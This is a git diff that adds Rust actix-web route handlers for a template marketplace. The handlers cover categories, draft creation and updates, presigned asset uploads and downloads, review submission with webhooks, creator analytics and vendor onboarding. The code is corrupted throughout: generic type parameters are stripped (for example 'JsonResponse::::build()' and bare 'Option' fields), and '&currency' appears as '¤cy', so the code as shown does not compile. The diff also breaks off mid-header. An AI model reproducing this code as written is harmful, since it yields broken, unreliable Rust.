--git a/stacker/stacker/src/routes/marketplace/categories.rs b/stacker/stacker/src/routes/marketplace/categories.rs new file mode 100644 index 0000000..33c6062 --- /dev/null +++ b/stacker/stacker/src/routes/marketplace/categories.rs @@ -0,0 +1,16 @@ +use crate::db; +use crate::helpers::JsonResponse; +use crate::models; +use actix_web::{get, web, Responder, Result}; +use sqlx::PgPool; + +#[tracing::instrument(name = "List categories", skip_all)] +#[get("/categories")] +pub async fn list_handler(pg_pool: web::Data) -> Result { + db::marketplace::get_categories(pg_pool.get_ref()) + .await + .map_err(|err| { + JsonResponse::>::build().internal_server_error(err) + }) + .map(|categories| JsonResponse::build().set_list(categories).ok("OK")) +} diff --git a/stacker/stacker/src/routes/marketplace/creator.rs b/stacker/stacker/src/routes/marketplace/creator.rs new file mode 100644 index 0000000..2515125 --- /dev/null +++ b/stacker/stacker/src/routes/marketplace/creator.rs @@ -0,0 +1,1154 @@ +use crate::configuration::Settings; +use crate::connectors::{MarketplaceWebhookSender, WebhookSenderConfig}; +use crate::db; +use crate::helpers::JsonResponse; +use crate::models; +use crate::services; +use actix_web::{get, post, put, web, Responder, Result}; +use sqlx::PgPool; +use std::sync::Arc; +use tracing::Instrument; +use uuid; + +#[derive(Debug, serde::Deserialize)] +pub struct AnalyticsQuery { + pub period: Option, + #[serde(rename = "startDate")] + pub start_date: Option, + #[serde(rename = "endDate")] + pub end_date: Option, + #[serde(rename = "templateId")] + pub template_id: Option, +} + +fn build_vendor_profile_status_item( + creator_user_id: &str, + template_id: Option, + vendor_profile: models::MarketplaceVendorProfile, +) -> serde_json::Value { + let payout_ready = vendor_profile.verification_status == "verified" + && vendor_profile.onboarding_status == "completed" + && vendor_profile.payouts_enabled + && vendor_profile.payout_provider.is_some(); + + let mut item = serde_json::json!({ + "creator_user_id": creator_user_id, + "payout_ready": payout_ready, + "vendor_profile": { + "creator_user_id": vendor_profile.creator_user_id, + "verification_status": vendor_profile.verification_status, + "onboarding_status": vendor_profile.onboarding_status, + "payouts_enabled": vendor_profile.payouts_enabled, + "payout_provider": vendor_profile.payout_provider, + "metadata": vendor_profile.metadata, + "created_at": vendor_profile.created_at, + "updated_at": vendor_profile.updated_at + } + }); + + if let Some(template_id) = template_id { + item["template_id"] = serde_json::Value::String(template_id.to_string()); + } + + item +} + +#[derive(Debug, serde::Deserialize)] +pub struct CreateTemplateRequest { + pub name: String, + pub slug: String, + pub short_description: Option, + pub long_description: Option, + pub category_code: Option, + pub tags: Option, + pub tech_stack: Option, + pub version: Option, + pub stack_definition: Option, + pub definition_format: Option, + pub changelog: Option, + pub config_files: Option, + pub assets: Option, + pub seed_jobs: Option, + pub post_deploy_hooks: Option, + pub update_mode_capabilities: Option, + pub confirm_no_secrets: Option, + /// Pricing: "free", "one_time", or "subscription" + pub plan_type: Option, + pub required_plan_name: Option, + /// Price amount (e.g. 9.99). Ignored when plan_type is "free" + pub price: Option, + /// ISO 4217 currency code, default "USD" + pub currency: Option, + pub infrastructure_requirements: Option, + /// Public ports: [{"name": "web", "port": 8080}, ...] + pub public_ports: Option, + /// Vendor's page URL + pub vendor_url: Option, +} + +#[tracing::instrument(name = "Create draft template", skip_all)] +#[post("")] +pub async fn create_handler( + user: web::ReqData>, + pg_pool: web::Data, + body: web::Json, +) -> Result { + let req = body.into_inner(); + + let tags = req.tags.unwrap_or(serde_json::json!([])); + let tech_stack = req.tech_stack.unwrap_or(serde_json::json!({})); + let infrastructure_requirements = req + .infrastructure_requirements + .unwrap_or(serde_json::json!({})); + let config_files = req.config_files.clone().unwrap_or(serde_json::json!([])); + let assets = req.assets.clone().unwrap_or(serde_json::json!([])); + let seed_jobs = req.seed_jobs.clone().unwrap_or(serde_json::json!([])); + let post_deploy_hooks = req + .post_deploy_hooks + .clone() + .unwrap_or(serde_json::json!([])); + let update_mode_capabilities = req.update_mode_capabilities.clone(); + + let creator_name = format!("{} {}", user.first_name, user.last_name); + + // Normalize pricing: plan_type "free" forces price to 0 + let billing_cycle = req.plan_type.unwrap_or_else(|| "free".to_string()); + let price = if billing_cycle == "free" { + 0.0 + } else { + req.price.unwrap_or(0.0) + }; + let currency = req.currency.unwrap_or_else(|| "USD".to_string()); + + let existing = db::marketplace::get_by_slug_and_user(pg_pool.get_ref(), &req.slug, &user.id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + let template = if let Some(existing_template) = existing { + // Update existing template + tracing::info!("Updating existing template with slug: {}", req.slug); + let updated = db::marketplace::update_metadata( + pg_pool.get_ref(), + &existing_template.id, + Some(&req.name), + req.short_description.as_deref(), + req.long_description.as_deref(), + req.category_code.as_deref(), + Some(tags.clone()), + Some(tech_stack.clone()), + Some(infrastructure_requirements.clone()), + Some(price), + Some(billing_cycle.as_str()), + req.required_plan_name.as_deref(), + Some(currency.as_str()), + req.public_ports.clone(), + req.vendor_url.as_deref(), + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + if !updated { + return Err(JsonResponse::::build() + .internal_server_error("Failed to update template")); + } + + // Fetch updated template + db::marketplace::get_by_id(pg_pool.get_ref(), existing_template.id) + .await + .map_err(|err| { + JsonResponse::::build().internal_server_error(err) + })? + .ok_or_else(|| { + JsonResponse::::build() + .not_found("Template not found after update") + })? + } else { + // Create new template + db::marketplace::create_draft( + pg_pool.get_ref(), + &user.id, + Some(&creator_name), + &req.name, + &req.slug, + req.short_description.as_deref(), + req.long_description.as_deref(), + req.category_code.as_deref(), + tags, + tech_stack, + infrastructure_requirements, + price, + &billing_cycle, + req.required_plan_name.as_deref(), + ¤cy, + req.public_ports.clone(), + req.vendor_url.as_deref(), + ) + .await + .map_err(|err| match err { + db::marketplace::CreateDraftError::DuplicateSlug { slug } => { + JsonResponse::::build().conflict(format!( + "Template slug '{}' is already in use. Please choose a different slug.", + slug + )) + } + db::marketplace::CreateDraftError::Internal => { + JsonResponse::::build() + .internal_server_error("Internal Server Error") + } + })? + }; + + // Optional initial version + if let Some(def) = req.stack_definition { + let version = req.version.unwrap_or("1.0.0".to_string()); + db::marketplace::upsert_latest_version( + pg_pool.get_ref(), + &template.id, + &version, + def, + req.definition_format.as_deref(), + req.changelog.as_deref(), + config_files, + assets, + seed_jobs, + post_deploy_hooks, + update_mode_capabilities, + ) + .await + .map_err(|err| JsonResponse::::build().bad_request(err))?; + } + + Ok(JsonResponse::build() + .set_item(Some(template)) + .created("Created")) +} + +#[derive(Debug, serde::Deserialize)] +pub struct UpdateTemplateRequest { + pub name: Option, + pub short_description: Option, + pub long_description: Option, + pub category_code: Option, + pub tags: Option, + pub tech_stack: Option, + pub version: Option, + pub stack_definition: Option, + pub definition_format: Option, + pub changelog: Option, + pub config_files: Option, + pub assets: Option, + pub seed_jobs: Option, + pub post_deploy_hooks: Option, + pub update_mode_capabilities: Option, + pub confirm_no_secrets: Option, + pub infrastructure_requirements: Option, + pub plan_type: Option, + pub required_plan_name: Option, + pub price: Option, + pub currency: Option, + pub public_ports: Option, + pub vendor_url: Option, +} + +#[derive(Debug, serde::Deserialize)] +pub struct PresignAssetUploadRequest { + pub filename: String, + pub sha256: String, + pub size: i64, + pub content_type: Option, + pub mount_path: Option, + pub fetch_target: Option, + pub decompress: Option, + pub executable: Option, + pub immutable: Option, +} + +#[derive(Debug, serde::Deserialize)] +pub struct FinalizeAssetRequest { + pub storage_provider: Option, + pub bucket: String, + pub key: String, + pub filename: String, + pub sha256: String, + pub size: i64, + pub content_type: Option, + pub mount_path: Option, + pub fetch_target: Option, + pub decompress: Option, + pub executable: Option, + pub immutable: Option, +} + +#[derive(Debug, serde::Deserialize)] +pub struct PresignAssetDownloadRequest { + pub key: String, +} + +#[derive(Debug, serde::Deserialize)] +pub struct SubmitTemplateRequest { + pub confirm_no_secrets: Option, +} + +fn ensure_no_secrets_confirmation(confirmed: Option) -> Result<(), actix_web::Error> { + if confirmed.unwrap_or(false) { + Ok(()) + } else { + Err(JsonResponse::::build().bad_request( + "Confirm that the template contains no secrets or API keys before submitting", + )) + } +} + +fn ensure_template_owner( + template: &models::StackTemplate, + user_id: &str, +) -> Result<(), actix_web::Error> { + if template.creator_user_id == user_id { + Ok(()) + } else { + Err(JsonResponse::::build().forbidden("Forbidden")) + } +} + +fn ensure_template_assets_editable( + template: &models::StackTemplate, +) -> Result<(), actix_web::Error> { + if matches!( + template.status.as_str(), + "draft" | "rejected" | "needs_changes" + ) { + Ok(()) + } else { + Err(JsonResponse::::build() + .bad_request("Template assets are read-only in the current status")) + } +} + +fn map_storage_error(error: services::MarketplaceAssetStorageError) -> actix_web::Error { + match error { + services::MarketplaceAssetStorageError::NotConfigured => { + JsonResponse::::build() + .internal_server_error("Marketplace asset storage is not configured") + } + other => JsonResponse::::build().bad_request(other.to_string()), + } +} + +fn normalize_optional_text(value: Option) -> Option { + value.and_then(|entry| { + let trimmed = entry.trim().to_string(); + if trimmed.is_empty() { + None + } else { + Some(trimmed) + } + }) +} + +fn build_marketplace_asset( + request: FinalizeAssetRequest, +) -> Result { + if request.size <= 0 { + return Err(JsonResponse::::build() + .bad_request("Asset size must be a positive integer")); + } + + let bucket = request.bucket.trim().to_string(); + let key = request.key.trim().to_string(); + let filename = request.filename.trim().to_string(); + let sha256 = request.sha256.trim().to_string(); + + if bucket.is_empty() || key.is_empty() || filename.is_empty() || sha256.is_empty() { + return Err(JsonResponse::::build() + .bad_request("bucket, key, filename, and sha256 are required")); + } + + Ok(models::MarketplaceAsset { + storage_provider: request + .storage_provider + .unwrap_or_else(|| services::MARKETPLACE_ASSET_STORAGE_PROVIDER.to_string()), + bucket, + key, + filename, + sha256, + size: request.size, + content_type: normalize_optional_text(request.content_type) + .unwrap_or_else(|| "application/octet-stream".to_string()), + mount_path: normalize_optional_text(request.mount_path), + fetch_target: normalize_optional_text(request.fetch_target), + decompress: request.decompress.unwrap_or(false), + executable: request.executable.unwrap_or(false), + immutable: request.immutable.unwrap_or(true), + }) +} + +#[tracing::instrument(name = "Update template metadata", skip_all)] +#[put("/{id}")] +pub async fn update_handler( + user: web::ReqData>, + path: web::Path<(String,)>, + pg_pool: web::Data, + body: web::Json, +) -> Result>> { + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + + // Ownership check + let owner_id: String = sqlx::query_scalar!( + r#"SELECT creator_user_id FROM stack_template WHERE id = $1"#, + id + ) + .fetch_one(pg_pool.get_ref()) + .await + .map_err(|_| JsonResponse::::build().not_found("Not Found"))?; + + if owner_id != user.id { + return Err(JsonResponse::::build().forbidden("Forbidden")); + } + + let req = body.into_inner(); + let infrastructure_requirements = req.infrastructure_requirements.clone(); + + // Normalize pricing: plan_type "free" forces price to 0 + let price = match req.plan_type.as_deref() { + Some("free") => Some(0.0), + _ => req.price, + }; + + let updated = db::marketplace::update_metadata( + pg_pool.get_ref(), + &id, + req.name.as_deref(), + req.short_description.as_deref(), + req.long_description.as_deref(), + req.category_code.as_deref(), + req.tags, + req.tech_stack, + infrastructure_requirements, + price, + req.plan_type.as_deref(), + req.required_plan_name.as_deref(), + req.currency.as_deref(), + req.public_ports.clone(), + req.vendor_url.as_deref(), + ) + .await + .map_err(|err| JsonResponse::::build().bad_request(err))?; + + if req.stack_definition.is_some() + || req.version.is_some() + || req.changelog.is_some() + || req.config_files.is_some() + || req.assets.is_some() + || req.seed_jobs.is_some() + || req.post_deploy_hooks.is_some() + || req.update_mode_capabilities.is_some() + { + let latest_version = db::marketplace::get_latest_version_by_template(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().bad_request(err))?; + let current_version = latest_version.unwrap_or_default(); + let version = req + .version + .clone() + .unwrap_or_else(|| current_version.version.clone()); + let stack_definition = req + .stack_definition + .clone() + .unwrap_or_else(|| current_version.stack_definition.clone()); + let config_files = req + .config_files + .clone() + .unwrap_or_else(|| current_version.config_files.clone()); + let assets = req + .assets + .clone() + .unwrap_or_else(|| current_version.assets.clone()); + let seed_jobs = req + .seed_jobs + .clone() + .unwrap_or_else(|| current_version.seed_jobs.clone()); + let post_deploy_hooks = req + .post_deploy_hooks + .clone() + .unwrap_or_else(|| current_version.post_deploy_hooks.clone()); + let definition_format = req + .definition_format + .as_deref() + .or(current_version.definition_format.as_deref()); + let changelog = req + .changelog + .as_deref() + .or(current_version.changelog.as_deref()); + let update_mode_capabilities = req + .update_mode_capabilities + .clone() + .or(current_version.update_mode_capabilities.clone()); + + db::marketplace::upsert_latest_version( + pg_pool.get_ref(), + &id, + if version.is_empty() { + "1.0.0" + } else { + version.as_str() + }, + stack_definition, + definition_format, + changelog, + config_files, + assets, + seed_jobs, + post_deploy_hooks, + update_mode_capabilities, + ) + .await + .map_err(|err| JsonResponse::::build().bad_request(err))?; + } + + if updated { + Ok(JsonResponse::::build().ok("Updated")) + } else { + Err(JsonResponse::::build().not_found("Not Found")) + } +} + +#[tracing::instrument(name = "Presign marketplace asset upload", skip_all)] +#[post("/{id}/assets/presign")] +pub async fn presign_asset_upload_handler( + user: web::ReqData>, + path: web::Path<(String,)>, + pg_pool: web::Data, + settings: web::Data, + body: web::Json, +) -> Result>> { + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + + let template = db::marketplace::get_by_id(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build().not_found("Template not found") + })?; + + ensure_template_owner(&template, &user.id)?; + ensure_template_assets_editable(&template)?; + + let latest_version = db::marketplace::get_latest_version_by_template(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build() + .bad_request("Create a template version before uploading assets") + })?; + + let presigned = services::presign_asset_upload( + &settings.marketplace_assets, + &id, + &latest_version.version, + services::MarketplaceAssetUploadRequest { + filename: body.filename.clone(), + sha256: body.sha256.clone(), + size: body.size, + content_type: body.content_type.clone(), + mount_path: body.mount_path.clone(), + fetch_target: body.fetch_target.clone(), + decompress: body.decompress.unwrap_or(false), + executable: body.executable.unwrap_or(false), + immutable: body.immutable.unwrap_or(true), + }, + ) + .map_err(map_storage_error)?; + + let payload = serde_json::to_value(presigned).map_err(|err| { + JsonResponse::::build().internal_server_error(err.to_string()) + })?; + + Ok(JsonResponse::::build() + .set_item(payload) + .ok("OK")) +} + +#[tracing::instrument(name = "Finalize marketplace asset upload", skip_all)] +#[post("/{id}/assets/finalize")] +pub async fn finalize_asset_upload_handler( + user: web::ReqData>, + path: web::Path<(String,)>, + pg_pool: web::Data, + settings: web::Data, + body: web::Json, +) -> Result>> { + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + + let template = db::marketplace::get_by_id(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build().not_found("Template not found") + })?; + + ensure_template_owner(&template, &user.id)?; + ensure_template_assets_editable(&template)?; + + let latest_version = db::marketplace::get_latest_version_by_template(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build() + .bad_request("Create a template version before finalizing assets") + })?; + + let asset = build_marketplace_asset(body.into_inner())?; + let expected_bucket = settings.marketplace_assets.active_bucket().to_string(); + let expected_key = services::marketplace_assets::build_asset_key( + &id, + &latest_version.version, + &asset.sha256, + &asset.filename, + ); + if asset.bucket != expected_bucket || asset.key != expected_key { + return Err(JsonResponse::::build() + .bad_request("Asset key does not match the server-issued upload descriptor")); + } + services::marketplace_assets::verify_asset_upload(&settings.marketplace_assets, &asset) + .await + .map_err(|err| JsonResponse::::build().bad_request(err.to_string()))?; + + let persisted = db::marketplace::upsert_latest_version_asset( + pg_pool.get_ref(), + id, + &serde_json::to_value(&asset).map_err(|err| { + JsonResponse::::build().internal_server_error(err.to_string()) + })?, + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + Ok(JsonResponse::::build() + .set_item(persisted) + .ok("OK")) +} + +#[tracing::instrument(name = "Presign marketplace asset download", skip_all)] +#[post("/{id}/assets/presign-download")] +pub async fn presign_asset_download_handler( + user: web::ReqData>, + path: web::Path<(String,)>, + pg_pool: web::Data, + settings: web::Data, + body: web::Json, +) -> Result>> { + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + + let template = db::marketplace::get_by_id(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build().not_found("Template not found") + })?; + + ensure_template_owner(&template, &user.id)?; + + let asset_value = + db::marketplace::get_latest_version_asset_by_key(pg_pool.get_ref(), id, body.key.trim()) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build() + .not_found("Asset not found for latest version") + })?; + + let asset: models::MarketplaceAsset = serde_json::from_value(asset_value).map_err(|err| { + JsonResponse::::build().internal_server_error(err.to_string()) + })?; + let presigned = services::presign_asset_download(&settings.marketplace_assets, &asset) + .map_err(map_storage_error)?; + let payload = serde_json::to_value(presigned).map_err(|err| { + JsonResponse::::build().internal_server_error(err.to_string()) + })?; + + Ok(JsonResponse::::build() + .set_item(payload) + .ok("OK")) +} + +#[tracing::instrument(name = "Submit template for review", skip_all)] +#[post("/{id}/submit")] +pub async fn submit_handler( + user: web::ReqData>, + path: web::Path<(String,)>, + pg_pool: web::Data, + body: web::Json, +) -> Result>> { + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + + // Ownership check + let owner_id: String = sqlx::query_scalar!( + r#"SELECT creator_user_id FROM stack_template WHERE id = $1"#, + id + ) + .fetch_one(pg_pool.get_ref()) + .await + .map_err(|_| JsonResponse::::build().not_found("Not Found"))?; + + if owner_id != user.id { + return Err(JsonResponse::::build().forbidden("Forbidden")); + } + + ensure_no_secrets_confirmation(body.into_inner().confirm_no_secrets)?; + let latest_version = db::marketplace::get_latest_version_by_template(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + let has_empty_stack_definition = latest_version + .as_ref() + .map(|version| { + version.stack_definition.is_null() + || version + .stack_definition + .as_object() + .map(|definition| definition.is_empty()) + .unwrap_or(false) + }) + .unwrap_or(false); + if has_empty_stack_definition { + return Err(JsonResponse::::build() + .bad_request("Template must include a deployable stack definition before submission")); + } + + let submitted = db::marketplace::submit_for_review(pg_pool.get_ref(), &id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + if submitted { + let template = db::marketplace::get_by_id(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build().not_found("Template not found") + })?; + + let template_clone = template.clone(); + tokio::spawn(async move { + match WebhookSenderConfig::from_env() { + Ok(config) => { + let sender = MarketplaceWebhookSender::new(config); + let span = tracing::info_span!( + "send_submit_webhook", + template_id = %template_clone.id + ); + + if let Err(e) = sender + .send_template_submitted( + &template_clone, + &template_clone.creator_user_id, + template_clone.category_code.clone(), + ) + .instrument(span) + .await + { + tracing::warn!("Failed to send template submitted webhook: {:?}", e); + } + } + Err(e) => { + tracing::warn!("Webhook sender config not available: {}", e); + } + } + }); + + Ok(JsonResponse::::build().ok("Submitted")) + } else { + Err(JsonResponse::::build().bad_request("Invalid status")) + } +} + +#[derive(Debug, serde::Deserialize)] +pub struct ResubmitRequest { + pub name: Option, + pub short_description: Option, + pub long_description: Option, + pub category_code: Option, + pub tags: Option, + pub tech_stack: Option, + pub version: String, + pub stack_definition: Option, + pub definition_format: Option, + pub changelog: Option, + pub infrastructure_requirements: Option, + pub plan_type: Option, + pub required_plan_name: Option, + pub price: Option, + pub currency: Option, + pub public_ports: Option, + pub vendor_url: Option, + pub config_files: Option, + pub assets: Option, + pub seed_jobs: Option, + pub post_deploy_hooks: Option, + pub update_mode_capabilities: Option, + pub confirm_no_secrets: Option, +} + +#[tracing::instrument(name = "Resubmit template with new version", skip_all)] +#[post("/{id}/resubmit")] +pub async fn resubmit_handler( + user: web::ReqData>, + path: web::Path<(String,)>, + pg_pool: web::Data, + body: web::Json, +) -> Result>> { + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + + // Ownership check + let owner_id: String = sqlx::query_scalar!( + r#"SELECT creator_user_id FROM stack_template WHERE id = $1"#, + id + ) + .fetch_one(pg_pool.get_ref()) + .await + .map_err(|_| JsonResponse::::build().not_found("Not Found"))?; + + if owner_id != user.id { + return Err(JsonResponse::::build().forbidden("Forbidden")); + } + + let req = body.into_inner(); + ensure_no_secrets_confirmation(req.confirm_no_secrets)?; + let current_version = db::marketplace::get_latest_version_by_template(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build().bad_request("Template has no latest version") + })?; + let price = match req.plan_type.as_deref() { + Some("free") => Some(0.0), + _ => req.price, + }; + let stack_definition = req + .stack_definition + .clone() + .unwrap_or_else(|| current_version.stack_definition.clone()); + let config_files = req + .config_files + .clone() + .unwrap_or_else(|| current_version.config_files.clone()); + let assets = req + .assets + .clone() + .unwrap_or_else(|| current_version.assets.clone()); + let seed_jobs = req + .seed_jobs + .clone() + .unwrap_or_else(|| current_version.seed_jobs.clone()); + let post_deploy_hooks = req + .post_deploy_hooks + .clone() + .unwrap_or_else(|| current_version.post_deploy_hooks.clone()); + let update_mode_capabilities = req + .update_mode_capabilities + .clone() + .or(current_version.update_mode_capabilities.clone()); + + let version = db::marketplace::resubmit_with_new_version( + pg_pool.get_ref(), + &id, + req.name.as_deref(), + req.short_description.as_deref(), + req.long_description.as_deref(), + req.category_code.as_deref(), + req.tags.clone(), + req.tech_stack.clone(), + req.infrastructure_requirements.clone(), + price, + req.plan_type.as_deref(), + req.required_plan_name.as_deref(), + req.currency.as_deref(), + req.public_ports.clone(), + req.vendor_url.as_deref(), + &req.version, + stack_definition, + req.definition_format.as_deref(), + req.changelog.as_deref(), + config_files, + assets, + seed_jobs, + post_deploy_hooks, + update_mode_capabilities, + ) + .await + .map_err(|err| JsonResponse::::build().bad_request(err))?; + + let result = serde_json::json!({ + "template_id": id, + "version": version, + "status": "submitted" + }); + + let template = db::marketplace::get_by_id(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build().not_found("Template not found") + })?; + + let template_clone = template.clone(); + tokio::spawn(async move { + match WebhookSenderConfig::from_env() { + Ok(config) => { + let sender = MarketplaceWebhookSender::new(config); + let span = + tracing::info_span!("send_resubmit_webhook", template_id = %template_clone.id); + + if let Err(e) = sender + .send_template_submitted( + &template_clone, + &template_clone.creator_user_id, + template_clone.category_code.clone(), + ) + .instrument(span) + .await + { + tracing::warn!("Failed to send template resubmitted webhook: {:?}", e); + } + } + Err(e) => { + tracing::warn!("Webhook sender config not available: {}", e); + } + } + }); + + Ok(JsonResponse::::build() + .set_item(result) + .ok("Resubmitted for review")) +} + +#[tracing::instrument(name = "List my templates", skip_all)] +#[get("/mine")] +pub async fn mine_handler( + user: Option>>, + pg_pool: web::Data, +) -> Result { + let user = user.ok_or_else(|| JsonResponse::::forbidden("Authentication required"))?; + db::marketplace::list_mine(pg_pool.get_ref(), &user.id) + .await + .map_err(|err| { + JsonResponse::>::build().internal_server_error(err) + }) + .map(|templates| JsonResponse::build().set_list(templates).ok("OK")) +} + +#[tracing::instrument(name = "Get my marketplace analytics", skip_all)] +#[get("/mine/analytics")] +pub async fn analytics_handler( + user: Option>>, + query: web::Query, + pg_pool: web::Data, +) -> Result> { + let user = user.ok_or_else(|| JsonResponse::::forbidden("Authentication required"))?; + let start_date = parse_optional_analytics_date(query.start_date.as_deref())?; + let end_date = parse_optional_analytics_date(query.end_date.as_deref())?; + validate_optional_template_scope(pg_pool.get_ref(), &user.id, query.template_id.as_deref()) + .await?; + + db::marketplace::get_vendor_analytics_for_period( + pg_pool.get_ref(), + &user.id, + query.period.as_deref().unwrap_or("30d"), + start_date, + end_date, + ) + .await + .map(web::Json) + .map_err(|err| JsonResponse::::build().internal_server_error(err)) +} + +async fn validate_optional_template_scope( + pool: &PgPool, + user_id: &str, + template_id: Option<&str>, +) -> Result<()> { + let Some(template_id) = template_id else { + return Ok(()); + }; + let template_id = uuid::Uuid::parse_str(template_id).map_err(|_| { + JsonResponse::::build().bad_request("Invalid templateId") + })?; + let template = db::marketplace::get_by_id(pool, template_id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build().not_found("Template not found") + })?; + + if template.creator_user_id != user_id { + return Err(JsonResponse::::build().forbidden("Access denied")); + } + + Ok(()) +} + +fn parse_optional_analytics_date( + value: Option<&str>, +) -> Result>> { + value + .map(|raw| { + chrono::DateTime::parse_from_rfc3339(raw) + .map(|date| date.with_timezone(&chrono::Utc)) + .map_err(|_| { + JsonResponse::::build() + .bad_request("Invalid analytics date format") + }) + }) + .transpose() +} + +#[tracing::instrument(name = "List reviews for my template", skip_all)] +#[get("/{id}/reviews")] +pub async fn my_reviews_handler( + user: Option>>, + path: web::Path<(String,)>, + pg_pool: web::Data, +) -> Result { + let user = user.ok_or_else(|| JsonResponse::::forbidden("Authentication required"))?; + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + + let template = db::marketplace::get_by_id(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build().not_found("Template not found") + })?; + + if template.creator_user_id != user.id { + return Err(JsonResponse::::build().forbidden("Access denied")); + } + + db::marketplace::list_reviews_by_template(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err)) + .map(|reviews| JsonResponse::build().set_list(reviews).ok("OK")) +} + +#[tracing::instrument(name = "Get my vendor profile status", skip_all)] +#[get("/{id}/vendor-profile-status")] +pub async fn vendor_profile_status_handler( + user: Option>>, + path: web::Path<(String,)>, + pg_pool: web::Data, +) -> Result>> { + let user = user.ok_or_else(|| JsonResponse::::forbidden("Authentication required"))?; + let id = uuid::Uuid::parse_str(&path.into_inner().0) + .map_err(|_| actix_web::error::ErrorBadRequest("Invalid UUID"))?; + + let template = db::marketplace::get_by_id(pg_pool.get_ref(), id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .ok_or_else(|| { + JsonResponse::::build().not_found("Template not found") + })?; + + if template.creator_user_id != user.id { + return Err(JsonResponse::::build().forbidden("Access denied")); + } + + let vendor_profile = db::marketplace::get_vendor_profile_by_creator( + pg_pool.get_ref(), + &template.creator_user_id, + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .unwrap_or_else(|| { + models::MarketplaceVendorProfile::default_for_creator(&template.creator_user_id) + }); + + let result = build_vendor_profile_status_item( + &template.creator_user_id, + Some(template.id), + vendor_profile, + ); + + Ok(JsonResponse::::build() + .set_item(result) + .ok("OK")) +} + +#[tracing::instrument(name = "Get my self vendor profile", skip_all)] +#[get("/mine/vendor-profile")] +pub async fn self_vendor_profile_handler( + user: Option>>, + pg_pool: web::Data, +) -> Result>> { + let user = user.ok_or_else(|| JsonResponse::::forbidden("Authentication required"))?; + + let vendor_profile = + db::marketplace::get_vendor_profile_by_creator(pg_pool.get_ref(), &user.id) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))? + .unwrap_or_else(|| models::MarketplaceVendorProfile::default_for_creator(&user.id)); + + let result = build_vendor_profile_status_item(&user.id, None, vendor_profile); + + Ok(JsonResponse::::build() + .set_item(result) + .ok("OK")) +} + +#[tracing::instrument(name = "Create my vendor onboarding link", skip_all)] +#[post("/mine/vendor-profile/onboarding-link")] +pub async fn create_onboarding_link_handler( + user: Option>>, + pg_pool: web::Data, +) -> Result>> { + let user = user.ok_or_else(|| JsonResponse::::forbidden("Authentication required"))?; + + let generated_account_ref = format!("acct_mock_{}", uuid::Uuid::new_v4().simple()); + let (vendor_profile, linkage_created) = db::marketplace::ensure_vendor_onboarding_link( + pg_pool.get_ref(), + &user.id, + "mock", + &generated_account_ref, + ) + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + let mut result = build_vendor_profile_status_item(&user.id, None, vendor_profile); + result["linkage_created"] = serde_json::Value::Bool(linkage_created); + + Ok(JsonResponse::::build() + .set_item(result) + .ok("OK")) +} + +#[tracing::instrument(name = "Complete my vendor onboarding", skip_all)] +#[post("/mine/vendor-profile/onboarding-complete")] +pub async fn complete_onboarding_handler( + user: Option>>, + pg_pool: web::Data, +) -> Result>> { + let user = user.ok_or_else(|| JsonResponse::::forbidden("Authentication required"))?; + + let completion = + db::marketplace::complete_vendor_onboarding(pg_pool.get_ref(), &user.id, "creator_api") + .await + .map_err(|err| JsonResponse::::build().internal_server_error(err))?; + + let (vendor_profile, completion_recorded) = match completion { + Some(result) => result, + None => { + return Err(JsonResponse::::build() + .conflict("Onboarding link must exist before completion")) + } + }; + + let mut result = build_vendor_profile_status_item(&user.id, None, vendor_profile); + result["completion_recorded"] = serde_json::Value::Bool(completion_recorded); + + Ok(JsonResponse::::build() + .set_item(result) + .ok("OK")) +} diff --git a/stacker/stacker/src/routes/marketplace/mod.rs b/stacker/stacker/src/routes/marketplace/mod.rs new file mode 100644 index 0000000..5f19928 --- /dev/null +++ 